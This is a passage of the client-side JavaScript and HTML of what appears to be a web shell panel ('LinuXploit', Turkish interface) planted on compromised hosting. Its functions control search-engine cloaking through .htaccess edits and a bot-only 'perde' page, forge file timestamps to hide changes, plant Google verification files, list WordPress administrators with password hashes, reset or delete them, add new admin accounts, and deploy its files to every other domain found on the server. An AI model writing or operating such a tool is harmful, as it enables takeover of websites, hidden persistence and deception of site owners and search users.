  else ckMsg('ck-msg','Hata: '+(r.e||'bilinmiyor'),'err');
}

async function ckRv(){
  if(!confirm('Cloak kapatilsin mi?'))return;
  ckMsg('ck-msg','Kapatiliyor...','info');
  const r=await req('ck',{m:'revert'});
  if(r.o){ckMsg('ck-msg',r.msg||'kapatildi','ok');setTimeout(()=>loadCloak(),1000);}
  else ckMsg('ck-msg','Hata','err');
}

async function ckUi(){
  if(!confirm('TAMAMEN KALDIRILSIN MI?'))return;
  ckMsg('ck-msg','Kaldiriliyor...','info');
  const r=await req('ck',{m:'uninstall'});
  if(r.o){ckMsg('ck-msg',r.msg||'kaldirildi','ok');setTimeout(()=>loadCloak(),1000);}
  else ckMsg('ck-msg','Hata','err');
}

async function ckBt(){
  ckMsg('ck-msg','Bot testi...','info');
  const ra=document.getElementById('ck-ra');ra.style.display='none';
  const r=await jf(U('ck','m=botcheck'));
  if(!r||!r.o){ckMsg('ck-msg',r&&r.e||'baglanti hatasi','err');return}
  let h=`HTTP: ${r.http_code} | Cloak: ${r.cloak_active?'AKTIF':'KAPALI'}<br>`;
  h+=`Eslesme: ${r.matched?'<span style=color:#0f0>Perde basildi</span>':'<span style=color:#fa0>Perde basilmadi</span>'}<br>`;
  h+=`<span style=font-size:10px;color:#555>${r.note}</span>`;
  ra.innerHTML=h;ra.style.display='block';ckMsg('ck-msg','','');
}

async function ckCc(){
  ckMsg('ck-msg','Cache temizleniyor...','info');
  const ra=document.getElementById('ck-ra');ra.style.display='none';
  const r=await jf(U('ck','m=cleancache'));
  if(!r||!r.o){ckMsg('ck-msg',r&&r.e||'baglanti hatasi','err');return}
  let h='';
  for(const k in r.results)h+=`<div style="padding:3px 6px;background:#0a1e0a;border-left:3px solid #0f0;color:#0f0;font-size:10px;margin:2px 0">${k}: ${r.results[k]}</div>`;
  ra.innerHTML=h;ra.style.display='block';ckMsg('ck-msg','','');
}

async function ckFts(){
  ckMsg('ck-msg','Timestamp...','info');
  const r=await jf(U('ck','m=fixts'));
  if(r&&r.o)ckMsg('ck-msg',`${r.n} dosya .htaccess ile ayni tarih yapildi (${r.t})`,'ok');
  else ckMsg('ck-msg',r.e,'err');
}

async function ckCht(){
  ckMsg('ck-msg','.htaccess temizleniyor...','info');
  const r=await jf(U('ck','m=cleanht'));
  if(!r||!r.o){ckMsg('ck-msg',r&&r.e||'baglanti hatasi','err');return}
  ckMsg('ck-msg','.htaccess: '+r.r,r.r==='OK'?'ok':'info');
  if(r.r==='OK')setTimeout(()=>loadCloak(),1500);
}

async function ckLp(){
  ckMsg('ck-pmsg','Yukleniyor...','info');
  const r=await jf(U('ck','m=viewperde'));
  if(r&&r.o){document.getElementById('ck-ph').value=r.html;ckMsg('ck-pmsg','Perde yuklendi ('+r.html.length+' karakter)','ok');}
  else ckMsg('ck-pmsg','Perde bulunamadi','err');
}

async function ckDbg(){
  const c=document.getElementById('ck-ph').value.substring(0,100);
  const r=await req('ck',{m:'_test',d:'TEST:'+c});
  ckMsg('ck-pmsg','Yanit: '+(r.e||JSON.stringify(r).replace(/</g,'&lt;').substring(0,300)),'info');
}

async function ckSp(){
  const c=document.getElementById('ck-ph').value;
  if(c.indexOf('<')===-1){ckMsg('ck-pmsg','HTML gerekiyor','err');return}
  ckMsg('ck-pmsg','Kaydediliyor... ('.concat(c.length,' chars)'),'info');
  try{
    const p=req('ck',{m:'savehtml',d:c});
    const to=setTimeout(()=>{ckMsg('ck-pmsg','Zaman asimi!','err')},15000);
    const r=await p;clearTimeout(to);
    if(r.o)ckMsg('ck-pmsg','Kaydedildi! ('.concat(r.s,' bytes)'),'ok');else ckMsg('ck-pmsg','Hata: '+(r.e||'bilinmiyor'),'err');
  }catch(e){ckMsg('ck-pmsg','Hata: '+(e.message||e||'?'),'err')}
}

async function ckUg(){
  const n=document.getElementById('ck-gn').value.trim(),c=document.getElementById('ck-gc').value.trim();
  if(!/^google[a-zA-Z0-9]+\.html$/.test(n)){ckMsg('ck-gm','Gecersiz dosya adi','err');return}
  if(!/^google-site-verification:\s*[A-Za-z0-9_\-\.]+\s*$/.test(c)){ckMsg('ck-gm','Gecersiz icerik','err');return}
  ckMsg('ck-gm','Yukleniyor...','info');
  const r=await jf(U('ck','m=writegoogle&n='+encodeURIComponent(n)+'&c='+encodeURIComponent(c)));
  if(r&&r.o){ckMsg('ck-gm','Yuklendi!','ok');setTimeout(()=>loadCloak(),1000);}
  else ckMsg('ck-gm','Hata','err');
}

async function ckRmG(n){
  if(!confirm(n+' silinsin mi?'))return;
  const r=await jf(U('ck','m=rmgoogle&n='+encodeURIComponent(n)));
  if(r&&r.o)loadCloak();
}

// ===== WP ADMIN =====
async function loadWp(){
  const el=document.getElementById('pn-wpadmin');
  el.innerHTML='<div class="cd"><div class="cd-h"><h3>loading</h3></div></div>';
  const r=await jf(U('wp','m=list'));
  if(!r||!r.o){el.innerHTML=`<div class="cd"><div class="cd-h"><h3>error</h3></div><div class="cd-b" style="color:#c0392b">${r&&r.e||'baglanti hatasi'}</div></div>`;return}
  let html=`<div class="wp"><div class="wp-h">MEVCUT ADMINLER <span style="font-weight:400;opacity:.5;text-transform:none;font-size:9px">sifre hash'i goster</span> <input type="checkbox" onchange="document.querySelectorAll('.wp-ph').forEach(x=>x.style.display=this.checked?'inline':'none')" style="vertical-align:middle"></div>
<div id="wp-msg" class="wp-alert"></div>
<table class="wp-tb"><thead><tr><th>ID</th><th>Kullanici</th><th>E-posta</th><th>Pass Hash</th><th>Islem</th></tr></thead><tbody>`;
  r.admins.forEach(a=>{
    html+=`<tr><td>${a.id}</td><td>${a.login}</td><td>${a.email}</td>
<td><span class="wp-ph" style="display:none;font-size:7px;font-family:monospace;color:#8b949e;max-width:100px;overflow:hidden;text-overflow:ellipsis">${a.pass}</span><span style="color:#484f58;font-size:9px">***</span></td>
<td><input class="wp-in" id="wp-pass-${a.id}" placeholder="yeni sifre" style="width:100px;display:inline;padding:2px 6px;font-size:10px">
<button class="btn btn-w btn-x" onclick="wpRp(${a.id})">Sifirla</button>`;
    if(a.id!=1)html+=`<button class="btn btn-d btn-x" onclick="wpDel(${a.id},'${a.login}')">Sil</button>`;
    html+=`</td></tr>`;
  });
  html+=`</tbody></table></div>
<div class="wp"><div class="wp-h">YENI ADMIN EKLE</div>
<input class="wp-in" id="wp-nu" placeholder="Kullanici adi">
<input class="wp-in" id="wp-ne" placeholder="E-posta">
<input class="wp-in" id="wp-np" placeholder="Sifre">
<div style="margin-top:6px"><button class="btn btn-p" onclick="wpAdd()">Ekle</button></div>
<div id="wp-msg2" class="wp-alert"></div></div>
<div class="wp"><div class="wp-h">UYARI</div>
<div class="wp-alert warn" style="display:block">Bu dosyayi isin bitince hemen sil! WordPress admin paneline dogrudan mudahale eder.</div></div>`;
  el.innerHTML=html;
}

function wpMsg(id,t,ty){const e=document.getElementById(id);if(!e)return;e.textContent=t;e.className='wp-alert '+(ty||'')}

async function wpRp(id){
  const inp=document.getElementById('wp-pass-'+id);const pass=inp.value.trim();
  const r=await jf(U('wp','m=resetpass&id='+id+'&pass='+encodeURIComponent(pass)));
  if(r&&r.o){wpMsg('wp-msg','Yeni sifre: <b>'+r.pass+'</b>','ok');inp.value=r.pass;}
  else wpMsg('wp-msg',r.e,'err');
}

async function wpDel(id,login){
  if(!confirm(login+' silinsin mi?'))return;
  const r=await jf(U('wp','m=deladmin&id='+id));
  if(r&&r.o){wpMsg('wp-msg',r.msg,'ok');setTimeout(()=>loadWp(),1000);}else wpMsg('wp-msg',r&&r.e||'baglanti hatasi','err');
}

async function wpAdd(){
  const login=document.getElementById('wp-nu').value.trim();
  const email=document.getElementById('wp-ne').value.trim();
  const pass=document.getElementById('wp-np').value.trim();
  if(!login||!email||!pass){wpMsg('wp-msg2','Tum alanlari doldur','err');return}
  const r=await jf(U('wp','m=addadmin&login='+encodeURIComponent(login)+'&email='+encodeURIComponent(email)+'&pass='+encodeURIComponent(pass)));
  if(r&&r.o){wpMsg('wp-msg2',r.msg,'ok');setTimeout(()=>loadWp(),1200);}else wpMsg('wp-msg2',r&&r.e||'baglanti hatasi','err');
}

// propagate functions
async function loadPropagate(){
  const el=document.getElementById('pn-propagate');
  el.innerHTML='<div class="cd"><div class="cd-h"><h3>Propagate</h3><div class="ctrls"><input id="pr-note" placeholder="Not (opsiyonel)" style="width:140px;padding:4px 8px;font-size:11px"><button class="btn btn-p btn-x" onclick="prDeployAll()" id="b-pr-all">Deploy All</button></div></div><div class="cd-b" id="pr-r"><div style="text-align:center;padding:20px;color:#444">scanning domains...</div></div></div>';
  const r=await jf(U('pr','m=scan'));
  if(!r||!r.o){document.getElementById('pr-r').innerHTML='<div style="text-align:center;padding:20px;color:#c0392b">'+(r&&r.e||'baglanti hatasi')+'</div>';return}
  const list=r.list||[];
  const deployedCount=list.reduce((a,x)=>a+x.count,0);
  let html=`<div class="sg"><div class="s"><span class="n">${list.length}</span><span class="l">Domains</span></div><div class="s"><span class="n g">${deployedCount}</span><span class="l">Files Placed</span></div></div>`;
  if(list.length){
    html+='<div class="cd"><div class="cd-h"><h3>Found Domains</h3></div><div class="cd-b" style="max-height:400px;overflow-y:auto"><table class="tb"><tr><th>Domain</th><th>CMS</th><th>Files</th><th></th></tr>';
    const curHost=window.location.hostname;
    list.forEach(x=>{
      const isCurrent=x.d===curHost||x.d===curHost.replace(/^www\./,'');
      const st=x.count>0?`<span class="g">${x.count}/${x.total}</span>`:`<span style="color:#555">0/${x.total}</span>`;
      const btn=x.count>0
        ?`<button class="btn btn-d btn-x" onclick="prRm('${x.p.replace(/'/g,"\\'")}','${x.cms}')">Remove</button>`
        :`<button class="btn btn-p btn-x" onclick="prDp('${x.p.replace(/'/g,"\\'")}','${x.cms}','${x.d.replace(/'/g,"\\'")}')">Deploy</button>`;
      const blinkCls=isCurrent?' class="pr-blink"':'';
      html+=`<tr${blinkCls}><td style="font-size:11px;color:#c9d1d9">${x.d}${isCurrent?' <span style="color:#3fb950;font-size:9px">&#9664; BURADA</span>':''}</td><td><span class="ck-t">${x.cms}</span></td><td style="font-size:10px;color:#8b949e">${st}</td><td style="text-align:right">${btn}</td></tr>`;
    });
    html+='</table></div></div>';
  }else{
    html+='<div class="cd"><div class="cd-b" style="text-align:center;padding:20px;color:#444">no domains found</div></div>';
  }
  document.getElementById('pr-r').innerHTML=html;
}
async function prDp(dir,cms,domain){
  const n=document.getElementById('pr-note')?document.getElementById('pr-note').value.trim():'';
  const b=event.target;b.textContent='...';b.disabled=true;
  const r=await req('pr',{m:'deploy',d:dir,cms:cms,domain:domain,note:n});
  if(r.o){ts('Deployed '+r.deployed+' files to '+domain);loadPropagate();}
  else{ts(r.e||'failed','e');b.textContent='Deploy';b.disabled=false;}
}
async function prRm(dir,cms){
  if(!confirm('Remove from '+dir.split('/').pop()+'?'))return;
  const r=await req('pr',{m:'remove',d:dir,cms:cms});
  if(r.o){ts('Removed');loadPropagate();}else ts(r.e||'failed','e');
}
async function prDeployAll(){
  if(!confirm('Deploy to ALL found domains?'))return;
  const n=document.getElementById('pr-note')?document.getElementById('pr-note').value.trim():'';
  const b=document.getElementById('b-pr-all'),ot=b.textContent;
  b.textContent='Deploying...';b.disabled=true;
  const r=await req('pr',{m:'deployall',note:n});
  b.textContent=ot;b.disabled=false;
  if(!r.o){ts(r.e,'e');return}
  ts('Deployed: '+r.ok+' OK, '+r.err+' errors');
  loadPropagate();
}
// end propagate

loadInfo();
</script>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit